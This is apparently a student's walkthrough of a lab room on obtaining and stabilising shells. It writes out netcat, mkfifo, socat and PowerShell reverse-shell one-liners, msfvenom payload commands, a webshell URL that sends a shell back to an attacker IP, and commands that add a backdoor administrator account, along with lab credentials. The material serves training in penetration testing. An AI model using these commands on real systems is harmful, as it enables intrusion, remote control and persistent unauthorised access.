-Privilege Escalation
Task 1 :What is a shell?
shells are what we use when interfacing with a Command Line environment (CLI). In other words, the common bash or sh programs in Linux are examples of shells, as are cmd.exe and Powershell on Windows. When targeting remote systems it is sometimes possible to force an application running on the server (such as a webserver, for example) to execute arbitrary code. When this happens, we want to use this initial access to obtain a shell running on the target.
Two types of shell:
Reverse Shell — force the remote server to send the local machine command line access to the remote server
Bind Shell — Local Machine hacks in the target machine by opening a port on the server, so that can execute further commands.
Task 2 :Tools
Netcat: A general tool.
Socat: A more stable and stronger version of Netcat.
Metasploit — multi/handler:The exploit/multi/handler
module of the Metasploit framework is, like socat and netcat, used to receive reverse shells.
Msfvenom:Like multi/handler, msfvenom is technically part of the Metasploit Framework, however, it is shipped as a standalone tool. Msfvenom is used to generate payloads on the fly. Whilst msfvenom can generate payloads other than reverse and bind shells, these are what we will be focusing on in this room.
Aside from the tools we’ve already covered, there are some repositories of shells in many different languages. One of the most prominent of these is Payloads all the Things. The PentestMonkey Reverse Shell Cheatsheet is also commonly used. In addition to these online resources, Kali Linux also comes pre-installed with a variety of webshells located at /usr/share/webshells
. The SecLists repo, though primarily used for wordlists, also contains some very useful code for obtaining shells.
Task 3:Types of Shell
As a general rule, reverse shells are easier to execute and debug.
Reverse Shell example:
On the attacking machine:
sudo nc -lvnp 443
On the target:
nc <LOCAL-IP> <PORT> -e /bin/bash
Notice that after running the command on the right, the listener receives a connection. When the whoami command is run, we see that we are executing commands as the target user.
The important thing here is that we are listening on our own attacking machine, and sending a connection from the target.
Bind Shell example:
on the left we have the attacker’s computer, on the right we have a simulated target. Windows example:
The important thing to understand here is that we are listening on the target, then connecting to it with our own machine.
Task 4: Netcat
The syntax for starting a netcat listener using Linux is this:
Reverse Shells
nc -lvnp <port-number>
it’s often a good idea to use a well-known port number (80, 443 or 53 being good choices) as this is more likely to get past outbound firewall rules on the target.
Bind Shells
If we are looking to obtain a bind shell on a target then we can assume that there is already a listener waiting for us on a chosen port of the target: all we need to do is connect to it. The syntax for this is relatively straight forward:
nc <target-ip> <chosen-port>
Task 5: Netcat Shell Stabilisation
Technique 1: Python
The first technique we’ll be discussing is applicable only to Linux boxes, as they will nearly always have Python installed by default. This is a three stage process:
- The first thing to do is use
python -c 'import pty;pty.spawn("/bin/bash")'
, which uses Python to spawn a better featured bash shell; note that some targets may need the version of Python specified. If this is the case, replacepython
withpython2
orpython3
as required. At this point our shell will look a bit prettier, but we still won't be able to use tab autocomplete or the arrow keys, and Ctrl + C will still kill the shell. - Step two is:
export TERM=xterm
-- this will give us access to term commands such asclear
. - Finally (and most importantly) we will background the shell using Ctrl + Z. Back in our own terminal we use
stty raw -echo; fg
. This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes). It then foregrounds the shell, thus completing the process.
Technique 2: rlwrap
rlwrap is a program which, in simple terms, gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell; however, some manual stabilisation must still be utilised if you want to be able to use Ctrl + C inside the shell. rlwrap is not installed by default on Kali, so first install it with sudo apt install rlwrap
.
To use rlwrap, we invoke a slightly different listener:
rlwrap nc -lvnp <port>
Prepending our netcat listener with “rlwrap” gives us a much more fully featured shell. This technique is particularly useful when dealing with Windows shells, which are otherwise notoriously difficult to stabilise. When dealing with a Linux target, it’s possible to completely stabilise, by using the same trick as in step three of the previous technique: background the shell with Ctrl + Z, then use stty raw -echo; fg
to stabilise and re-enter the shell.
Technique 3: Socat
The third easy way to stabilise a shell is quite simply to use an initial netcat shell as a stepping stone into a more fully-featured socat shell. Bear in mind that this technique is limited to Linux targets, as a Socat shell on Windows will be no more stable than a netcat shell. To accomplish this method of stabilisation we would first transfer a socat static compiled binary (a version of the program compiled to have no dependencies) up to the target machine. A typical way to achieve this would be using a webserver on the attacking machine inside the directory containing your socat binary (sudo python3 -m http.server 80
), then, on the target machine, using the netcat shell to download the file. On Linux this would be accomplished with curl or wget (wget <LOCAL-IP>/socat -O /tmp/socat
).
For the sake of completeness: in a Windows CLI environment the same can be done with Powershell, using either Invoke-WebRequest or a webrequest system class, depending on the version of Powershell installed (Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
). We will cover the syntax for sending and receiving shells with Socat in the upcoming tasks.
Task 6 :Socat
Reverse Shells
socat TCP-L:<port> -
equals to nc -lvnp <port>
Bind Shells
On a Linux target we would use the following command:
socat TCP-L:<PORT> EXEC:"bash -li"
On a Windows target we would use this command for our listener:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
Task 7: Socat Encrypted Shells
What is the syntax for setting up an OPENSSL-LISTENER using the tty technique from the previous task? Use port 53, and a PEM file called “encrypt.pem”
From the hint: socat TCP-L:53 FILE:`tty`,raw,echo=0
Now we just need to replace TCP-L with OPENSSL-LISTEN and add the cert=encrypt.pem & verify=0 syntax to the command.
Answer: socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
If your IP is 10.10.10.5, what syntax would you use to connect back to this listener?
The regular syntax is this: socat TCP:10.10.10.5:53 EXEC:”bash -li”,pty,stderr,sigint,setsid,sane. Again, we replace the TCP with OPENSSL, and add the verify=0 synax.
Answer: socat OPENSSL:10.10.10.5:53,verify=0 EXEC:”bash -li”,pty,stderr,sigint,setsid,sane
Task 8: Common Shell Payloads
In some versions of netcat (including the nc.exe
Windows version included with Kali at /usr/share/windows-resources/binaries
, and the version used in Kali itself: netcat-traditional
) there is a -e
option which allows you to execute a process on connection. For example, as a listener:
nc -lvnp <PORT> -e /bin/bash
Connecting to the above listener with netcat would result in a bind shell on the target. Equally, for a reverse shell, connecting back with nc <LOCAL-IP> <PORT> -e /bin/bash
would result in a reverse shell on the target. This is however seen as being very insecure, and it is not included in most version of netcat. On Windows where a static binary is nearly always required anyway, this technique will work perfectly. On Linux, however, we would instead use this code to create a listener for a bind shell:
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
A very similar command can be used to send a netcat reverse shell:
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
This command is virtually identical to the previous one, other than using the netcat connect syntax, as opposed to the netcat listen syntax.
When targeting a modern version of Windows Server, we can use the following Powershell reverse shell:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Task 9: msfvenom
Msfvenom: the one-stop-shop for all things payload related.
The standard syntax for msfvenom is as follows:
msfvenom -p <PAYLOAD> <OPTIONS>
For example, to generate a Windows x64 Reverse Shell in an exe format, we could use:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
Here we are using a payload and four options:
- -f <format>
- Specifies the output format. In this case that is an executable (exe)
- -o <file>
- The output location and filename for the generated payload.
- LHOST=<IP>
- Local host, specify the machine connect back to.
- LPORT=<port>
- The port on the local machine to connect back to. This can be anything between 0 and 65535 that isn’t already in use; however, ports below 1024 are restricted and require a listener running with root privileges.
Staged vs Stageless
Stageless payloads tend to be easier to use and catch; however, they are also bulkier, and are easier for an antivirus or intrusion detection program to discover and remove. Staged payloads are harder to use, but the initial stager is a lot shorter, and is sometimes missed by less-effective antivirus software. Modern day antivirus solutions will also make use of the Anti-Malware Scan Interface (AMSI) to detect the payload as it is loaded into memory by the stager, making staged payloads less effective than they would once have been in this area.
Payload Naming Conventions
The basic convention is as follows:
<OS>/<arch>/<payload>
For example:
linux/x86/shell_reverse_tcp
This would generate a stageless reverse shell for an x86 Linux target.
The exception to this convention is Windows 32bit targets. For these, the arch is not specified. e.g.:
windows/shell_reverse_tcp
Stageless payloads are denoted with underscores (_
).
In the above examples the payload used was shell_reverse_tcp
. This indicates that it was a stageless payload.
The staged equivalent to this payload would be:
shell/reverse_tcp
As staged payloads are denoted with another forward slash (/
).
This rule also applies to Meterpreter payloads. A Windows 64bit staged Meterpreter payload would look like this:
windows/x64/meterpreter/reverse_tcp
Aside from the msfconsole
man page, the other important thing to note when working with msfvenom is:
msfvenom --list payloads
This can be used to list all available payloads, which can then be piped into grep
to search for a specific set of payloads. For example:
msfvenom --list payloads | grep "linux/x64"
msfvenom --list formats
What command would you use to generate a staged meterpreter reverse shell for a 64bit Linux target, assuming your own IP was 10.10.10.5, and you were listening on port 443? The format for the shell is elf
and the output filename should be shell
msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell.elf LHOST=10.10.10.5 LPORT=443
Task 10 :Metasploit multi/handler
Multi/Handler is a superb tool for catching reverse shells. It’s essential if you want to use Meterpreter shells, and is the go-to when using staged payloads.
Fortunately, it’s relatively easy to use:
- Open Metasploit with
msfconsole
- Type
use multi/handler
, and press enter
We are now primed to start a multi/handler session. Let’s take a look at the available options using the options
command:
set PAYLOAD <payload>
set LHOST <listen-address>
set LPORT <listen-port>
We should now be ready to start the listener!
Let’s do this by using the exploit -j
command. This tells Metasploit to launch the module, running as a job in the background.
What command can be used to start a listener in the background?
exploit -j
If we had just received our tenth reverse shell in the current Metasploit session, what would be the command used to foreground it?
session 10
Task 11: WebShells
“Webshell” is a colloquial term for a script that runs inside a webserver (usually in a language such as PHP or ASP) which executes code on the server. Essentially, commands are entered into a webpage — either through a HTML form, or directly as arguments in the URL — which are then executed by the script, with the results returned and written to the page.
there are a variety of webshells available on Kali by default at /usr/share/webshells
-- including the infamous PentestMonkey php-reverse-shell -- a full reverse shell written in PHP.
Task 12 :Next Steps
Shells are in common unstable and non-interactive. We should find path to access to the machine after receiving shells.
Linux SSH keys atored at /home/<user>/.ssh directory.
Or
/etc/shadow or /etc/passwd would quickly give you SSH access to the machine, assuming SSH is open.
Reverse and Bind shells are an essential technique for gaining remote code execution on a machine, however, they will never be as fully featured as a native shell. Ideally we always want to escalate into using a “normal” method for accessing the machine, as this will invariably be easier to use for further exploitation of the target.
Ideally on Windows you would obtain a shell running as the SYSTEM user, or an administrator account running with high privileges. In such a situation it’s possible to simply add your own account (in the administrators group) to the machine, then log in over RDP, telnet, winexe, psexec, WinRM or any number of other methods, dependent on the services running on the box.
The syntax for this is as follows:
net user <username> <password> /add
net localgroup administrators <username> /add
Task 13 :Practice and Examples
Try uploading a webshell to the Linux box, then use the command: nc <LOCAL-IP> <PORT> -e /bin/bash
to send a reverse shell back to a waiting listener on your own machine.
Navigate to /usr/share/webshells/php/php-reverse-shell.php
in Kali and change the IP and port to match your tun0 IP with a custom port. Set up a netcat listener, then upload and activate the shell.
Direct to the kali pre-installed webshell directory and edit the file php-reverse-shell.php, change the IP to your local into IP add and rename to rshell.php:
Visting the target machine and submit the shell
Add the syntax tothe end of command:
/uploads/rshell.php?cmd=nc 10.4.14.198 1234 -e /bin/bash
Start listening on the attacking machine:
Extra: stabilize the netcat:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Try python, python2 and Python3 by order.export TERM=xterm
- Background the shell using Ctrl + Z. Back in our own terminal we use
stty raw -echo; fg
Log into the Linux machine over SSH using the credentials in task 14. Use the techniques in Task 8 to experiment with bind and reverse netcat shells.
Practice reverse and bind shells using Socat on the Linux machine. Try both the normal and special techniques.
On the target machine:
On the attacking machine:
Look through Payloads all the Things and try some of the other reverse shell techniques. Try to analyse them and see why they work.
Completed
Switch to the Windows VM. Try uploading and activating the php-reverse-shell
. Does this work?
Terminate the Linux machine and activate the Windows machine. Upload the shell file and
Upload a webshell on the Windows target and try to obtain a reverse shell using Powershell.
Create a basic web shell:
Upload to the web server. Since this is a Windows machine and we want a Powershell shell, we then need to use the following command as cmd parameter:
powershell -c “$client = New-Object System.Net.Sockets.TCPClient(‘<ip>’,<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”
The webserver is running with SYSTEM privileges. Create a new user and add it to the “administrators” group, then login over RDP or WinRM.
Complete this task by two commands:
Create a new user:
Add the new user to the administrator group:
Use remmina login to the windows server:
Experiment using socat and netcat to obtain reverse and bind shells on the Windows Target.
Completed
Create a 64bit Windows Meterpreter shell using msfvenom and upload it to the Windows Target. Activate the shell and catch it with multi/handler. Experiment with the features of this shell.
Use msfvenom to create the interpreter shell. shell.exe is generated and located in the Desktop directory.
Enter Metasploit and use multi/handler module:
Set up options and run the command :
Now the local machine is listing.
Login on the target server by using the command provided in the task 15:
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.22.199 /u:Administrator /p:’TryH4ckM3!’
Download the shell.exe
Call the shell.exe
The Metasploit is activated:
Create both staged and stageless meterpreter shells for either target. Upload and manually activate them, catching the shell with netcat — does this work?
Task 14 :Linux Practice Box
- Username: shell
- Password: TryH4ckM3!Task 15 : Windows Practice Box
- Username: Administrator
- Password: TryH4ckM3!
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.22.199 /u:Administrator /p:’TryH4ckM3!’